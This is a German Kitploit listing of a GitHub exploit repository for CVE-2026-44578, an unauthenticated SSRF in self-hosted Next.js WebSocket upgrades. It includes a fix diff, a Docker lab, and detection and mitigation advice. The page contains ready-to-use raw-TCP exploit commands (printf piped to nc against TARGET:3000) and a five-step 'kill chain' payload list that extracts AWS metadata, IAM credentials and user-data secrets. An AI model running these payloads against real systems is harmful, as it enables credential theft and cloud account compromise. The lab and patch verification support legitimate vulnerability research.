Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-44578 — CVE-2026-44578: Next.js WebSocket Upgrade SSRF — Credential-Diebstahl vor der Authentifizierung über localhost:80. Lab + Exploit + Audit. | Kitploit
Tools/GitHubGitHub/dinosn/cve-2026-44578
SchwachstellenanalyseExploitationWebanwendungs-ExploitationCloud-SicherheitLernen & BildungLabs & Praxis
GitHubdinosn/cve-2026-44578

CVE-2026-44578

CVE-2026-44578: Next.js WebSocket Upgrade SSRF — Credential-Diebstahl vor der Authentifizierung über localhost:80. Lab + Exploit + Audit.

Repository anzeigen
92vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-44578 — SSRF beim WebSocket-Upgrade in Next.js

Server-Side Request Forgery ohne Authentifizierung in selbst gehosteten Next.js-Bereitstellungen.
Eine einzige manipulierte HTTP-Anfrage extrahiert AWS-Zugangsdaten, Geheimnisse und interne Daten von Diensten aus localhost:80.

FeldWert
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CVSS 3.18.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
TypSSRF (CWE-918)
BetroffenNext.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 (nur selbst gehostet)
Behoben15.5.16, 16.2.5
Authentifizierung erforderlichKeine
BenutzerinteraktionKeine

Schwachstelle

Der WebSocket-Upgrade-Handler in router-server.ts ruft proxyRequest() auf, sobald parsedUrl.protocol wahr ist — ohne die Routing-Abschluss-Flags finished und statusCode zu prüfen, die der HTTP-Handler bisher immer erzwungen hatte.

root@kitploit:~
// router-server.ts — upgrade handler
- if (parsedUrl.protocol) {
-   return await proxyRequest(req, socket, parsedUrl, head)

// fix (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+   if (!statusCode) {
+     return await proxyRequest(req, socket, parsedUrl, head)
+   }
+   return socket.end()
  }

Nachdem normalizeRepeatedSlashes http:/// zu http:/ zusammengeführt hat, ist der Hostname null und http-proxy verbindet sich mit dem korrekten Pfad zu localhost:80. Jeder dort parallel laufende Dienst (Cloud-Metadaten, Admin-Panels, interne APIs) ist exponiert.


Exploit-Befehl

root@kitploit:~
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\n\
Host: TARGET:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 TARGET 3000

curl kann keine URIs in absoluter Form senden. Verwenden Sie rohes TCP: nc, ncat, socat oder Python-Sockets.


So funktioniert es

root@kitploit:~
Attacker                     Next.js (vuln)              localhost:80 (IMDS/service)
   |                              |                              |
   | GET http:///latest/meta-data/|                              |
   | Connection: Upgrade          |                              |
   | Upgrade: websocket           |                              |
   |----------------------------->|                              |
   |                              | url.parse -> protocol:'http' |
   |                              | "///" matches regex          |
   |                              | normalizeRepeatedSlashes     |
   |                              |   "http:///" -> "http:/"     |
   |                              | Returns: finished:true       |
   |                              |   statusCode:308             |
   |                              |   hostname:null              |
   |                              |                              |
   |                              | BUG: only checks protocol   |
   |                              | proxyRequest -> localhost:80 |
   |                              |   GET /latest/meta-data/     |
   |                              |----------------------------->|
   |                              |     200 OK + credentials     |
   |                              |<-----------------------------|
   |    200 OK + credentials      |                              |
   |<-----------------------------|                              |

Reproduktion im Labor

Voraussetzungen

  • Docker + Docker Compose
  • Python 3.10+
  • nc (netcat)

Einrichtung

root@kitploit:~
git clone https://github.com/dinosn/CVE-2026-44578.git
cd CVE-2026-44578/lab
./setup.sh

Dadurch werden 5 Container gestartet:

Die IMDS-Sidecars verwenden network_mode: "service:nextjs-*", sodass sich der simulierte Metadatendienst innerhalb des Next.js-Containers auf localhost:80 befindet — als Nachbildung einer echten Cloud-Instanz.

Exploit ausführen

root@kitploit:~
# Full test suite (7 SSRF probes)
python3 ../exploit/poc.py -t http://localhost:3000 --test-all

# Single credential extraction
printf "GET http:///latest/meta-data/iam/security-credentials/NextjsAppRole HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000

# Confirm patched instance blocks it
python3 ../exploit/poc.py -t http://localhost:3001 --test-all

Aufräumen

root@kitploit:~
./teardown.sh

Nachweise

1. Laufendes Labor

Alle Container laufen — verwundbare Instanz (15.5.15) auf :3000, gepatchte Instanz (15.5.16) auf :3001, IMDS-Sidecars mit geteilten Netzwerk-Namespaces.

Laufendes Labor

2. SSRF — Auflistung der AWS-Metadaten

Eine einzelne Anfrage gibt das vollständige EC2-Metadatenverzeichnis zurück (ami-id, instance-id, iam/, placement/, usw.).

Metadaten-Auflistung

3. SSRF — Extraktion von IAM-Zugangsdaten

Vollständiger IAM-Zugangsdatensatz: AccessKeyId, SecretAccessKey, Token und Expiration.

IAM-Zugangsdaten

4. SSRF — User-Data-Geheimnisse

EC2-User-Data-Bootstrap-Skript, das DB_PASSWORD und API_KEY enthält.

User-Data-Geheimnisse

5. SSRF — Instanzidentität

Instanz-ID über denselben SSRF-Vektor extrahiert.

Instanz-ID

6. Gepatchte Instanz — blockiert

Dieselbe Payload gegen Next.js 15.5.16. Verbindung wird sofort geschlossen — keine Daten zurückgegeben.

Gepatcht blockiert

7. IMDS-Logs — Nachweis der serverseitigen Ausführung

Die simulierten IMDS-Logs zeigen GET-Anfragen von 127.0.0.1 (dem Next.js-Prozess), was beweist, dass die SSRF serverseitig ist.

IMDS-Logs

8. Vollständige PoC-Suite — verwundbar (7/7 bestätigt)

Alle 7 SSRF-Tests liefern auf der verwundbaren Instanz sensible Daten zurück.

Vollständige Suite verwundbar

9. Vollständige PoC-Suite — gepatcht (0/7 blockiert)

Alle 7 Tests wurden auf der gepatchten Instanz blockiert. Fix bestätigt.

Vollständige Suite gepatcht


Kill-Chain-Payloads

root@kitploit:~
# 1. List metadata categories
printf "GET http:///latest/meta-data/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 2. Instance ID
printf "GET http:///latest/meta-data/instance-id HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 3. Discover IAM role
printf "GET http:///latest/meta-data/iam/security-credentials/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 4. Extract IAM credentials
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 5. User-data secrets
printf "GET http:///latest/user-data HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

Ersetzen Sie T durch den Zielhost und ROLE durch den IAM-Rollennamen.


Einschränkungen


Erkennung & Gegenmaßnahmen

root@kitploit:~
# Nginx: reject absolute-form request URIs
if ($request_uri ~* "^https?://") {
    return 400;
}

Auf AWS: IMDSv2 erzwingen (HttpTokens=required).

Log-Signaturen:

  • Failed to proxy http:/ — Proxy ausgelöst, aber Ziel nicht erreichbar
  • Die http:///path-Variante erzeugt keinen Fehler-Log-Eintrag — überwachen Sie WebSocket-Upgrades mit http: in der Anfragezeile

Referenzen


Haftungsausschluss

Nur für autorisierte Sicherheitstests, Ausbildung und defensive Forschung. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für deren Test Sie eine ausdrückliche schriftliche Genehmigung haben.

Tool herunterladen
ContainerRolleErreichbar
nextjs-vulnNext.js 15.5.15 (verwundbar)localhost:3000
nextjs-fixedNext.js 15.5.16 (gepatcht)localhost:3001
imds-sidecar-vulnSimulierter AWS-IMDSv1-Dienst, teilt Netzwerk mit verwundbarer Instanzlocalhost:80 (aus Sicht der verwundbaren Instanz)
imds-sidecar-fixedSimulierter AWS-IMDSv1-Dienst, teilt Netzwerk mit gepatchter Instanzlocalhost:80 (aus Sicht der gepatchten Instanz)
internal-apiMock eines internen Dienstes—
EinschränkungDetail
HTTP-MethodeNur GET
Ziellocalhost:80 (Hostname durch Normalisierung entfernt)
AWS IMDSv2Nicht ausnutzbar (erfordert PUT)
GCP-MetadatenNicht ausnutzbar (lehnt Upgrade-Header ab)
Vercel-gehostetNicht betroffen
Hinter Reverse-Proxynginx/Caddy/HAProxy blockieren URIs in absoluter Form
QuelleLink
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-44578
GHSAhttps://github.com/advisories/GHSA-c4j6-fc7j-m34r
Fix-Commithttps://github.com/vercel/next.js/commit/c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8
Hadrian-Analysehttps://hadrian.io/blog/next-js-websocket-ssrf-unauthenticated-access-to-internal-resources-cve-2026-44578-2
Öffentlicher PoC (nextssrf)https://github.com/ynsmroztas/nextssrf